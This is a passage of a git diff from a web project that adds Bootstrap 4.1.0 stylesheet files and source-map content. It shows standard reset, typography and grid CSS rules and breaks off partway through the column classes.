0 1rem;\n}\n\n\n//\n// Images and content\n//\n\nimg {\n  vertical-align: middle;\n  border-style: none; // Remove the border on images inside links in IE 10-.\n}\n\nsvg:not(:root) {\n  overflow: hidden; // Hide the overflow in IE\n}\n\n\n//\n// Tables\n//\n\ntable {\n  border-collapse: collapse; // Prevent double borders\n}\n\ncaption {\n  padding-top: $table-cell-padding;\n  padding-bottom: $table-cell-padding;\n  color: $table-caption-color;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  // Matches default `<td>` alignment by inheriting from the `<body>`, or the\n  // closest parent with a set `text-align`.\n  text-align: inherit;\n}\n\n\n//\n// Forms\n//\n\nlabel {\n  // Allow labels to use `margin` for spacing.\n  display: inline-block;\n  margin-bottom: $label-margin-bottom;\n}\n\n// Remove the default `border-radius` that macOS Chrome adds.\n//\n// Details at https://github.com/twbs/bootstrap/issues/24093\nbutton {\n  border-radius: 0;\n}\n\n// Work around a Firefox/IE bug where the transparent `button` background\n// results in a loss of the default `button` focus styles.\n//\n// Credit: https://github.com/suitcss/base/\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0; // Remove the margin in Firefox and Safari\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible; // Show the overflow in Edge\n}\n\nbutton,\nselect {\n  text-transform: none; // Remove the inheritance of text transform in Firefox\n}\n\n// 1. Prevent a WebKit bug where (2) destroys native `audio` and `video`\n//    controls in Android 4.\n// 2. Correct the inability to style clickable types in iOS and Safari.\nbutton,\nhtml [type=\"button\"], // 1\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button; // 2\n}\n\n// Remove inner border and padding from Firefox, but don't restore the outline like Normalize.\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  box-sizing: border-box; // 1. Add the correct box sizing in IE 10-\n  padding: 0; // 2. Remove the padding in IE 10-\n}\n\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  // Remove the default appearance of temporal inputs to avoid a Mobile Safari\n  // bug where setting a custom line-height prevents text from being vertically\n  // centered within the input.\n  // See https://bugs.webkit.org/show_bug.cgi?id=139848\n  // and https://github.com/twbs/bootstrap/issues/11266\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto; // Remove the default vertical scrollbar in IE.\n  // Textareas should really only resize vertically so they don't break their (horizontal) containers.\n  resize: vertical;\n}\n\nfieldset {\n  // Browsers set a default `min-width: min-content;` on fieldsets,\n  // unlike e.g. `<div>`s, which have `min-width: 0;` by default.\n  // So we reset that to ensure fieldsets behave more like a standard block element.\n  // See https://github.com/twbs/bootstrap/issues/12359\n  // and https://html.spec.whatwg.org/multipage/#the-fieldset-and-legend-elements\n  min-width: 0;\n  // Reset the default outline behavior of fieldsets so they don't affect page layout.\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\n// 1. Correct the text wrapping in Edge and IE.\n// 2. Correct the color inheritance from `fieldset` elements in IE.\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%; // 1\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit; // 2\n  white-space: normal; // 1\n}\n\nprogress {\n  vertical-align: baseline; // Add the correct vertical alignment in Chrome, Firefox, and Opera.\n}\n\n// Correct the cursor style of increment and decrement buttons in Chrome.\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  // This overrides the extra rounded corners on search inputs in iOS so that our\n  // `.form-control` class can properly style them. Note that this cannot simply\n  // be added to `.form-control` as it's not specific enough. For details, see\n  // https://github.com/twbs/bootstrap/issues/11586.\n  outline-offset: -2px; // 2. Correct the outline style in Safari.\n  -webkit-appearance: none;\n}\n\n//\n// Remove the inner padding and cancel buttons in Chrome and Safari on macOS.\n//\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n//\n// 1. Correct the inability to style clickable types in iOS and Safari.\n// 2. Change font properties to `inherit` in Safari.\n//\n\n::-webkit-file-upload-button {\n  font: inherit; // 2\n  -webkit-appearance: button; // 1\n}\n\n//\n// Correct element displays\n//\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item; // Add the correct display in all browsers\n  cursor: pointer;\n}\n\ntemplate {\n  display: none; // Add the correct display in IE\n}\n\n// Always hide an element with the `hidden` HTML attribute (from PureCSS).\n// Needed for proper display in IE 10-.\n[hidden] {\n  display: none !important;\n}\n","/*!\n * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)\n */\n*,\n*::before,\n*::after {\n  box-sizing: border-box;\n}\n\nhtml {\n  font-family: sans-serif;\n  line-height: 1.15;\n  -webkit-text-size-adjust: 100%;\n  -ms-text-size-adjust: 100%;\n  -ms-overflow-style: scrollbar;\n  -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n  width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n  display: block;\n}\n\nbody {\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-size: 1rem;\n  font-weight: 400;\n  line-height: 1.5;\n  color: #212529;\n  text-align: left;\n  background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n  outline: 0 !important;\n}\n\nhr {\n  box-sizing: content-box;\n  height: 0;\n  overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: 0.5rem;\n}\n\np {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n  text-decoration: underline;\n  -webkit-text-decoration: underline dotted;\n  text-decoration: underline dotted;\n  cursor: help;\n  border-bottom: 0;\n}\n\naddress {\n  margin-bottom: 1rem;\n  font-style: normal;\n  line-height: inherit;\n}\n\nol,\nul,\ndl {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n  margin-bottom: 0;\n}\n\ndt {\n  font-weight: 700;\n}\n\ndd {\n  margin-bottom: .5rem;\n  margin-left: 0;\n}\n\nblockquote {\n  margin: 0 0 1rem;\n}\n\ndfn {\n  font-style: italic;\n}\n\nb,\nstrong {\n  font-weight: bolder;\n}\n\nsmall {\n  font-size: 80%;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsub {\n  bottom: -.25em;\n}\n\nsup {\n  top: -.5em;\n}\n\na {\n  color: #007bff;\n  text-decoration: none;\n  background-color: transparent;\n  -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n  color: #0056b3;\n  text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n  outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\npre {\n  margin-top: 0;\n  margin-bottom: 1rem;\n  overflow: auto;\n  -ms-overflow-style: scrollbar;\n}\n\nfigure {\n  margin: 0 0 1rem;\n}\n\nimg {\n  vertical-align: middle;\n  border-style: none;\n}\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\ntable {\n  border-collapse: collapse;\n}\n\ncaption {\n  padding-top: 0.75rem;\n  padding-bottom: 0.75rem;\n  color: #6c757d;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  text-align: inherit;\n}\n\nlabel {\n  display: inline-block;\n  margin-bottom: 0.5rem;\n}\n\nbutton {\n  border-radius: 0;\n}\n\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0;\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible;\n}\n\nbutton,\nselect {\n  text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  box-sizing: border-box;\n  padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto;\n  resize: vertical;\n}\n\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%;\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit;\n  white-space: normal;\n}\n\nprogress {\n  vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  outline-offset: -2px;\n  -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n  font: inherit;\n  -webkit-appearance: button;\n}\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item;\n  cursor: pointer;\n}\n\ntemplate {\n  display: none;\n}\n\n[hidden] {\n  display: none !important;\n}\n/*# sourceMappingURL=bootstrap-reboot.css.map */","/*!\n * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)\n */\n*,\n*::before,\n*::after {\n  box-sizing: border-box;\n}\n\nhtml {\n  font-family: sans-serif;\n  line-height: 1.15;\n  -webkit-text-size-adjust: 100%;\n  -ms-text-size-adjust: 100%;\n  -ms-overflow-style: scrollbar;\n  -webkit-tap-highlight-color: transparent;\n}\n\n@-ms-viewport {\n  width: device-width;\n}\n\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n  display: block;\n}\n\nbody {\n  margin: 0;\n  font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n  font-size: 1rem;\n  font-weight: 400;\n  line-height: 1.5;\n  color: #212529;\n  text-align: left;\n  background-color: #fff;\n}\n\n[tabindex=\"-1\"]:focus {\n  outline: 0 !important;\n}\n\nhr {\n  box-sizing: content-box;\n  height: 0;\n  overflow: visible;\n}\n\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: 0.5rem;\n}\n\np {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nabbr[title],\nabbr[data-original-title] {\n  text-decoration: underline;\n  text-decoration: underline dotted;\n  cursor: help;\n  border-bottom: 0;\n}\n\naddress {\n  margin-bottom: 1rem;\n  font-style: normal;\n  line-height: inherit;\n}\n\nol,\nul,\ndl {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n  margin-bottom: 0;\n}\n\ndt {\n  font-weight: 700;\n}\n\ndd {\n  margin-bottom: .5rem;\n  margin-left: 0;\n}\n\nblockquote {\n  margin: 0 0 1rem;\n}\n\ndfn {\n  font-style: italic;\n}\n\nb,\nstrong {\n  font-weight: bolder;\n}\n\nsmall {\n  font-size: 80%;\n}\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsub {\n  bottom: -.25em;\n}\n\nsup {\n  top: -.5em;\n}\n\na {\n  color: #007bff;\n  text-decoration: none;\n  background-color: transparent;\n  -webkit-text-decoration-skip: objects;\n}\n\na:hover {\n  color: #0056b3;\n  text-decoration: underline;\n}\n\na:not([href]):not([tabindex]) {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {\n  color: inherit;\n  text-decoration: none;\n}\n\na:not([href]):not([tabindex]):focus {\n  outline: 0;\n}\n\npre,\ncode,\nkbd,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\n\npre {\n  margin-top: 0;\n  margin-bottom: 1rem;\n  overflow: auto;\n  -ms-overflow-style: scrollbar;\n}\n\nfigure {\n  margin: 0 0 1rem;\n}\n\nimg {\n  vertical-align: middle;\n  border-style: none;\n}\n\nsvg:not(:root) {\n  overflow: hidden;\n}\n\ntable {\n  border-collapse: collapse;\n}\n\ncaption {\n  padding-top: 0.75rem;\n  padding-bottom: 0.75rem;\n  color: #6c757d;\n  text-align: left;\n  caption-side: bottom;\n}\n\nth {\n  text-align: inherit;\n}\n\nlabel {\n  display: inline-block;\n  margin-bottom: 0.5rem;\n}\n\nbutton {\n  border-radius: 0;\n}\n\nbutton:focus {\n  outline: 1px dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n}\n\ninput,\nbutton,\nselect,\noptgroup,\ntextarea {\n  margin: 0;\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\n\nbutton,\ninput {\n  overflow: visible;\n}\n\nbutton,\nselect {\n  text-transform: none;\n}\n\nbutton,\nhtml [type=\"button\"],\n[type=\"reset\"],\n[type=\"submit\"] {\n  -webkit-appearance: button;\n}\n\nbutton::-moz-focus-inner,\n[type=\"button\"]::-moz-focus-inner,\n[type=\"reset\"]::-moz-focus-inner,\n[type=\"submit\"]::-moz-focus-inner {\n  padding: 0;\n  border-style: none;\n}\n\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n  box-sizing: border-box;\n  padding: 0;\n}\n\ninput[type=\"date\"],\ninput[type=\"time\"],\ninput[type=\"datetime-local\"],\ninput[type=\"month\"] {\n  -webkit-appearance: listbox;\n}\n\ntextarea {\n  overflow: auto;\n  resize: vertical;\n}\n\nfieldset {\n  min-width: 0;\n  padding: 0;\n  margin: 0;\n  border: 0;\n}\n\nlegend {\n  display: block;\n  width: 100%;\n  max-width: 100%;\n  padding: 0;\n  margin-bottom: .5rem;\n  font-size: 1.5rem;\n  line-height: inherit;\n  color: inherit;\n  white-space: normal;\n}\n\nprogress {\n  vertical-align: baseline;\n}\n\n[type=\"number\"]::-webkit-inner-spin-button,\n[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\n\n[type=\"search\"] {\n  outline-offset: -2px;\n  -webkit-appearance: none;\n}\n\n[type=\"search\"]::-webkit-search-cancel-button,\n[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\n\n::-webkit-file-upload-button {\n  font: inherit;\n  -webkit-appearance: button;\n}\n\noutput {\n  display: inline-block;\n}\n\nsummary {\n  display: list-item;\n  cursor: pointer;\n}\n\ntemplate {\n  display: none;\n}\n\n[hidden] {\n  display: none !important;\n}\n\n/*# sourceMappingURL=bootstrap-reboot.css.map */","// Hover mixin and `$enable-hover-media-query` are deprecated.\n//\n// Origally added during our alphas and maintained during betas, this mixin was\n// designed to prevent `:hover` stickiness on iOS-an issue where hover styles\n// would persist after initial touch.\n//\n// For backward compatibility, we've kept these mixins and updated them to\n// always return their regular psuedo-classes instead of a shimmed media query.\n//\n// Issue: https://github.com/twbs/bootstrap/issues/25195\n\n@mixin hover {\n  &:hover { @content; }\n}\n\n@mixin hover-focus {\n  &:hover,\n  &:focus {\n    @content;\n  }\n}\n\n@mixin plain-hover-focus {\n  &,\n  &:hover,\n  &:focus {\n    @content;\n  }\n}\n\n@mixin hover-focus-active {\n  &:hover,\n  &:focus,\n  &:active {\n    @content;\n  }\n}\n"]}
\ No newline at end of file
diff --git a/public/css/bootstrap.css b/public/css/bootstrap.css
new file mode 100644
index 0000000..7220f3c
--- /dev/null
+++ b/public/css/bootstrap.css
@@ -0,0 +1,8950 @@
+/*!
+ * Bootstrap v4.1.0 (https://getbootstrap.com/)
+ * Copyright 2011-2018 The Bootstrap Authors
+ * Copyright 2011-2018 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ */
+:root {
+  --blue: #007bff;
+  --indigo: #6610f2;
+  --purple: #6f42c1;
+  --pink: #e83e8c;
+  --red: #dc3545;
+  --orange: #fd7e14;
+  --yellow: #ffc107;
+  --green: #28a745;
+  --teal: #20c997;
+  --cyan: #17a2b8;
+  --white: #fff;
+  --gray: #6c757d;
+  --gray-dark: #343a40;
+  --primary: #007bff;
+  --secondary: #6c757d;
+  --success: #28a745;
+  --info: #17a2b8;
+  --warning: #ffc107;
+  --danger: #dc3545;
+  --light: #f8f9fa;
+  --dark: #343a40;
+  --breakpoint-xs: 0;
+  --breakpoint-sm: 576px;
+  --breakpoint-md: 768px;
+  --breakpoint-lg: 992px;
+  --breakpoint-xl: 1200px;
+  --font-family-sans-serif: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
+  --font-family-monospace: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
+}
+
+*,
+*::before,
+*::after {
+  box-sizing: border-box;
+}
+
+html {
+  font-family: sans-serif;
+  line-height: 1.15;
+  -webkit-text-size-adjust: 100%;
+  -ms-text-size-adjust: 100%;
+  -ms-overflow-style: scrollbar;
+  -webkit-tap-highlight-color: transparent;
+}
+
+@-ms-viewport {
+  width: device-width;
+}
+
+article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {
+  display: block;
+}
+
+body {
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
+  font-size: 1rem;
+  font-weight: 400;
+  line-height: 1.5;
+  color: #212529;
+  text-align: left;
+  background-color: #fff;
+}
+
+[tabindex="-1"]:focus {
+  outline: 0 !important;
+}
+
+hr {
+  box-sizing: content-box;
+  height: 0;
+  overflow: visible;
+}
+
+h1, h2, h3, h4, h5, h6 {
+  margin-top: 0;
+  margin-bottom: 0.5rem;
+}
+
+p {
+  margin-top: 0;
+  margin-bottom: 1rem;
+}
+
+abbr[title],
+abbr[data-original-title] {
+  text-decoration: underline;
+  -webkit-text-decoration: underline dotted;
+  text-decoration: underline dotted;
+  cursor: help;
+  border-bottom: 0;
+}
+
+address {
+  margin-bottom: 1rem;
+  font-style: normal;
+  line-height: inherit;
+}
+
+ol,
+ul,
+dl {
+  margin-top: 0;
+  margin-bottom: 1rem;
+}
+
+ol ol,
+ul ul,
+ol ul,
+ul ol {
+  margin-bottom: 0;
+}
+
+dt {
+  font-weight: 700;
+}
+
+dd {
+  margin-bottom: .5rem;
+  margin-left: 0;
+}
+
+blockquote {
+  margin: 0 0 1rem;
+}
+
+dfn {
+  font-style: italic;
+}
+
+b,
+strong {
+  font-weight: bolder;
+}
+
+small {
+  font-size: 80%;
+}
+
+sub,
+sup {
+  position: relative;
+  font-size: 75%;
+  line-height: 0;
+  vertical-align: baseline;
+}
+
+sub {
+  bottom: -.25em;
+}
+
+sup {
+  top: -.5em;
+}
+
+a {
+  color: #007bff;
+  text-decoration: none;
+  background-color: transparent;
+  -webkit-text-decoration-skip: objects;
+}
+
+a:hover {
+  color: #0056b3;
+  text-decoration: underline;
+}
+
+a:not([href]):not([tabindex]) {
+  color: inherit;
+  text-decoration: none;
+}
+
+a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {
+  color: inherit;
+  text-decoration: none;
+}
+
+a:not([href]):not([tabindex]):focus {
+  outline: 0;
+}
+
+pre,
+code,
+kbd,
+samp {
+  font-family: monospace, monospace;
+  font-size: 1em;
+}
+
+pre {
+  margin-top: 0;
+  margin-bottom: 1rem;
+  overflow: auto;
+  -ms-overflow-style: scrollbar;
+}
+
+figure {
+  margin: 0 0 1rem;
+}
+
+img {
+  vertical-align: middle;
+  border-style: none;
+}
+
+svg:not(:root) {
+  overflow: hidden;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+caption {
+  padding-top: 0.75rem;
+  padding-bottom: 0.75rem;
+  color: #6c757d;
+  text-align: left;
+  caption-side: bottom;
+}
+
+th {
+  text-align: inherit;
+}
+
+label {
+  display: inline-block;
+  margin-bottom: 0.5rem;
+}
+
+button {
+  border-radius: 0;
+}
+
+button:focus {
+  outline: 1px dotted;
+  outline: 5px auto -webkit-focus-ring-color;
+}
+
+input,
+button,
+select,
+optgroup,
+textarea {
+  margin: 0;
+  font-family: inherit;
+  font-size: inherit;
+  line-height: inherit;
+}
+
+button,
+input {
+  overflow: visible;
+}
+
+button,
+select {
+  text-transform: none;
+}
+
+button,
+html [type="button"],
+[type="reset"],
+[type="submit"] {
+  -webkit-appearance: button;
+}
+
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner,
+[type="submit"]::-moz-focus-inner {
+  padding: 0;
+  border-style: none;
+}
+
+input[type="radio"],
+input[type="checkbox"] {
+  box-sizing: border-box;
+  padding: 0;
+}
+
+input[type="date"],
+input[type="time"],
+input[type="datetime-local"],
+input[type="month"] {
+  -webkit-appearance: listbox;
+}
+
+textarea {
+  overflow: auto;
+  resize: vertical;
+}
+
+fieldset {
+  min-width: 0;
+  padding: 0;
+  margin: 0;
+  border: 0;
+}
+
+legend {
+  display: block;
+  width: 100%;
+  max-width: 100%;
+  padding: 0;
+  margin-bottom: .5rem;
+  font-size: 1.5rem;
+  line-height: inherit;
+  color: inherit;
+  white-space: normal;
+}
+
+progress {
+  vertical-align: baseline;
+}
+
+[type="number"]::-webkit-inner-spin-button,
+[type="number"]::-webkit-outer-spin-button {
+  height: auto;
+}
+
+[type="search"] {
+  outline-offset: -2px;
+  -webkit-appearance: none;
+}
+
+[type="search"]::-webkit-search-cancel-button,
+[type="search"]::-webkit-search-decoration {
+  -webkit-appearance: none;
+}
+
+::-webkit-file-upload-button {
+  font: inherit;
+  -webkit-appearance: button;
+}
+
+output {
+  display: inline-block;
+}
+
+summary {
+  display: list-item;
+  cursor: pointer;
+}
+
+template {
+  display: none;
+}
+
+[hidden] {
+  display: none !important;
+}
+
+h1, h2, h3, h4, h5, h6,
+.h1, .h2, .h3, .h4, .h5, .h6 {
+  margin-bottom: 0.5rem;
+  font-family: inherit;
+  font-weight: 500;
+  line-height: 1.2;
+  color: inherit;
+}
+
+h1, .h1 {
+  font-size: 2.5rem;
+}
+
+h2, .h2 {
+  font-size: 2rem;
+}
+
+h3, .h3 {
+  font-size: 1.75rem;
+}
+
+h4, .h4 {
+  font-size: 1.5rem;
+}
+
+h5, .h5 {
+  font-size: 1.25rem;
+}
+
+h6, .h6 {
+  font-size: 1rem;
+}
+
+.lead {
+  font-size: 1.25rem;
+  font-weight: 300;
+}
+
+.display-1 {
+  font-size: 6rem;
+  font-weight: 300;
+  line-height: 1.2;
+}
+
+.display-2 {
+  font-size: 5.5rem;
+  font-weight: 300;
+  line-height: 1.2;
+}
+
+.display-3 {
+  font-size: 4.5rem;
+  font-weight: 300;
+  line-height: 1.2;
+}
+
+.display-4 {
+  font-size: 3.5rem;
+  font-weight: 300;
+  line-height: 1.2;
+}
+
+hr {
+  margin-top: 1rem;
+  margin-bottom: 1rem;
+  border: 0;
+  border-top: 1px solid rgba(0, 0, 0, 0.1);
+}
+
+small,
+.small {
+  font-size: 80%;
+  font-weight: 400;
+}
+
+mark,
+.mark {
+  padding: 0.2em;
+  background-color: #fcf8e3;
+}
+
+.list-unstyled {
+  padding-left: 0;
+  list-style: none;
+}
+
+.list-inline {
+  padding-left: 0;
+  list-style: none;
+}
+
+.list-inline-item {
+  display: inline-block;
+}
+
+.list-inline-item:not(:last-child) {
+  margin-right: 0.5rem;
+}
+
+.initialism {
+  font-size: 90%;
+  text-transform: uppercase;
+}
+
+.blockquote {
+  margin-bottom: 1rem;
+  font-size: 1.25rem;
+}
+
+.blockquote-footer {
+  display: block;
+  font-size: 80%;
+  color: #6c757d;
+}
+
+.blockquote-footer::before {
+  content: "\2014 \00A0";
+}
+
+.img-fluid {
+  max-width: 100%;
+  height: auto;
+}
+
+.img-thumbnail {
+  padding: 0.25rem;
+  background-color: #fff;
+  border: 1px solid #dee2e6;
+  border-radius: 0.25rem;
+  max-width: 100%;
+  height: auto;
+}
+
+.figure {
+  display: inline-block;
+}
+
+.figure-img {
+  margin-bottom: 0.5rem;
+  line-height: 1;
+}
+
+.figure-caption {
+  font-size: 90%;
+  color: #6c757d;
+}
+
+code,
+kbd,
+pre,
+samp {
+  font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
+}
+
+code {
+  font-size: 87.5%;
+  color: #e83e8c;
+  word-break: break-word;
+}
+
+a > code {
+  color: inherit;
+}
+
+kbd {
+  padding: 0.2rem 0.4rem;
+  font-size: 87.5%;
+  color: #fff;
+  background-color: #212529;
+  border-radius: 0.2rem;
+}
+
+kbd kbd {
+  padding: 0;
+  font-size: 100%;
+  font-weight: 700;
+}
+
+pre {
+  display: block;
+  font-size: 87.5%;
+  color: #212529;
+}
+
+pre code {
+  font-size: inherit;
+  color: inherit;
+  word-break: normal;
+}
+
+.pre-scrollable {
+  max-height: 340px;
+  overflow-y: scroll;
+}
+
+.container {
+  width: 100%;
+  padding-right: 15px;
+  padding-left: 15px;
+  margin-right: auto;
+  margin-left: auto;
+}
+
+@media (min-width: 576px) {
+  .container {
+    max-width: 540px;
+  }
+}
+
+@media (min-width: 768px) {
+  .container {
+    max-width: 720px;
+  }
+}
+
+@media (min-width: 992px) {
+  .container {
+    max-width: 960px;
+  }
+}
+
+@media (min-width: 1200px) {
+  .container {
+    max-width: 1140px;
+  }
+}
+
+.container-fluid {
+  width: 100%;
+  padding-right: 15px;
+  padding-left: 15px;
+  margin-right: auto;
+  margin-left: auto;
+}
+
+.row {
+  display: -ms-flexbox;
+  display: flex;
+  -ms-flex-wrap: wrap;
+  flex-wrap: wrap;
+  margin-right: -15px;
+  margin-left: -15px;
+}
+
+.no-gutters {
+  margin-right: 0;
+  margin-left: 0;
+}
+
+.no-gutters > .col,
+.no-gutters > [class*="col-"] {
+  padding-right: 0;
+  padding-left: 0;
+}
+
+.col-1, .col-2, .col-3, .col-4, .col-5, .col-6, .col-7, .col-8, .col-9, .col-10, .col-11, .col-12, .col,
+.col-auto, .col-sm-1, .col-sm-2, .col-sm-3, .col-sm-4, .col-sm-5, .col-sm-6, .col-sm-7, .col-sm-8, .col-sm-9, .col-sm-10, .col-sm-11, .col-sm-12, .col-sm,
+.col-sm-auto, .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12, .col-md,
+.col-md-auto, .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12, .col-lg,
+.col-lg-auto, .col-xl-1, .col-xl-2, .col-xl-3, .col-xl-4, .col-xl-5, .col-xl-6, .col-xl-7, .col-xl-8, .col-xl-9, .col-xl-10, .col-xl-11, .col-xl-12, .col-xl,
+.col-xl-auto {
+  position: relative;
+  width: 100%;
+  min-height: 1px;
+  padding-right: 15px;
+  padding-left: 15px;
+}
+
+.col {
+  -ms-flex-preferred-size: 0;
+  flex-basis: 0;
+  -ms-flex-positive: 1;
+  flex-grow: 1;
+  max-width: 100%;
+}
+
+.col-auto {
+  -ms-flex: 0 0 auto;
+  flex: 0 0 auto;
+  width: auto;
+  max-width: none;
+}
+
+.col-1 {
+  -ms-flex: 0 0 8.333333%;
+  flex: 0 0 8.333333%;
+  max-width: 8.333333%;
+}
+
+.col-2 {
+  -ms-flex: 0 0 16.666667%;
+  flex: 0 0 16.666667%;
+  max-width: 16.666667%;
+}
+
+.col-3 {
+  -ms-flex: 0 0 25%;
+  flex: 0 0 25%;
+  max-width: 25%;
+}
+
+.col-4 {
+  -ms-flex: 0 0 33.333333%;
+  flex: 0 0 33.333333%;
+  max-width: 33.333333%;
+}
+
+.col-5 {
+  -ms-flex: 0 0 41.666667%;
+  flex: 0 0 41.666667%;
+  max-width: 41.666667%;
+}
+
+.col-6 {
